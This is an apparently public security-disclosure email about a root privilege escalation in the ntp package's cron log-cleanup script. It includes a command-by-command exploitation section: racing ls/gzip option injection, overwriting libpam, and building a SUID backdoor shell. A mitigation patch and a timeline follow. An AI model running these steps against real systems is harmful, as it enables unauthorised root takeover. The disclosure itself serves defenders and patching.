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Date: Thu, 21 Jan 2016 19:04:22 +0000
From: halfdog <me@...fdog.net>
To: oss-security@...ts.openwall.com
Subject: ntp.org stats data logrotation script privilege escalation

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As disclosure was already requested, here ist the public writeup:

Introduction:
=============

The cronjob script bundled with ntp package is intended to perform
cleanup on statistics files produced by NTP daemon running with
statistics enabled. The script is run as root during the daily cronjobs
all operations on the ntp-user controlled statistics directory without
switching to user ntp. Thus all steps are performed with root
permissions in place.

Due to multiple bugs in the script, a malicious ntp user can make the
backup process to overwrite arbitrary files with content controlled by
the attacker, thus gaining root privileges. The problematic parts in
/etc/cron.daily/ntp are:

find "$statsdir" -type f -mtime +7 -exec rm {} \;

# compress whatever is left to save space
cd "$statsdir"
ls *stats.???????? > /dev/null 2>&1
if [ $? -eq 0 ]; then
# Note that gzip won't compress the file names that
# are hard links to the live/current files, so this
# compresses yesterday and previous, leaving the live
# log alone. We supress the warnings gzip issues
# about not compressing the linked file.
gzip --best --quiet *stats.????????

Relevant targets are:

* find and rm invocation is racy, symlinks on rm
* rm can be invoked with one attacker controlled option
* ls can be invoked with arbitrary number of attacker controlled command
line options
* gzip can be invoked with arbitrary number of attacker controlled options


Exploitation:
=============

A sucessful attack should not be mitigated by symlink security
restrictions. Thus the general POSIX/Linux design weakness of missing
flags/syscalls for safe opening of path without the setfsuid workaround
has to be targeted. See FilesystemRecursionAndSymlinks on that.
Demonstration:

First step is to pass the ls check in the script to trigger gzip, which
is more suitable to perform file system changes than ls for executing
arbitrary code. As this requires passing command line options to gzip
which are not valid for ls, content of statsdir has to be modified
exactly in between. This can be easily accomplished by preparing
suitable entries in /var/lib/ntp and starting one instance of
DirModifyInotify.c as user ntp:

cd /var/lib/ntp
mkdir astats.01234567 bstats.01234567
# Copy away library, we will have to restore it afterwards. Without
# that, login is disabled on console, via SSH, ...
cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 .
gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 >
astats.01234567/libpam.so.0.83.1stats.01234567
./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath
bstats.01234567 --MoveTarget -drfSstats.01234567 &

With just that in place, DirModifyInotify will react to the actions of
ls, move the directory and thus trigger recursive decompression in gzip
instead of plain compression. While gzip is running, the directory
astats.01234567 has to replaced also to make it overwrite arbitrary
files as user root. As gzip will attempt to restore uid/gid of
compressed file to new uncompressed version, this will just change the
ownership of PAM library to ntp user.

./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath
astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/

After the daily cron jobs were run once, libpam.so.0.83.1 can be
temporarily replaced, e.g. to create a SUID binary for escalation.

gcc -Wall -fPIC -c LibPam.c
ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1
gcc -o Backdoor SuidExec.c
/bin/su
# Back to normal
./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1
/lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root
/lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh'


Mitigation:
===========

Following simple patch should fix all the issues.

- --- /etc/cron.daily/ntp 2011-12-15 10:43:19.000000000 +0000
+++ /etc/cron.daily/ntp 2015-12-16 09:28:32.057936904 +0000
@@ -9,19 +9,23 @@
statsdir=$(cat /etc/ntp.conf | grep -v '^#' | sed -n 's/statsdir \([^
][^ ]*\)/\1/p')

if [ -n "$statsdir" ] && [ -d "$statsdir" ]; then
- - # only keep a week's depth of these
- - find "$statsdir" -type f -mtime +7 -exec rm {} \;
+ # only keep a week's depth of these. Delete only files exactly
+ # within the directory and do not descend into subdirectories
+ # to avoid security risks on platforms where find is not using
+ # fts-library.
+ find "$statsdir" -maxdepth 1 -type f -mtime +7 -delete

- - # compress whatever is left to save space
- - cd "$statsdir"
- - ls *stats.???????? > /dev/null 2>&1
+ # compress whatever is left to save space but make sure to really
+ # do it only in the expected directory.
+ cd "$statsdir" || exit 1
+ ls -d -- *stats.???????? > /dev/null 2>&1
if [ $? -eq 0 ]; then
# Note that gzip won't compress the file names that
# are hard links to the live/current files, so this
# compresses yesterday and previous, leaving the live
# log alone. We supress the warnings gzip issues
# about not compressing the linked file.
- - gzip --best --quiet *stats.????????
+ gzip --best --quiet -- *stats.????????
return=$?
case $return in
2)

To protect against unidentified or future issues, the script should
not be run with UID=0 at all. One variant for such a patch can be
found at [0].


Results, Discussion:
====================

The impact should be minor as

* statsdir has to be enabled root-owned ntp configuration, which is not
the default at least on Ubuntu Wily

* NTP daemon has small attack surface, thus hard to gain access to ntp
user for remote attacker

* No SUID binaries to ease local users gaining ntp user rights


Timeline:
=========

* 20151215: Discovery
* 20151220: Report at Ubuntu Launchpad
* 20151222: Checked also ntp.org Debian package, reported upstream
* 20160121: Publication


Material, References:
=====================

* [0] Article on the issue, references to all test tools mentioned in this
post:
http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/
* [1] Launchpad bug report:
https://bugs.launchpad.net/ubuntu/+source/ntp/+bug/1528050

- -- 
http://www.halfdog.net/
PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee
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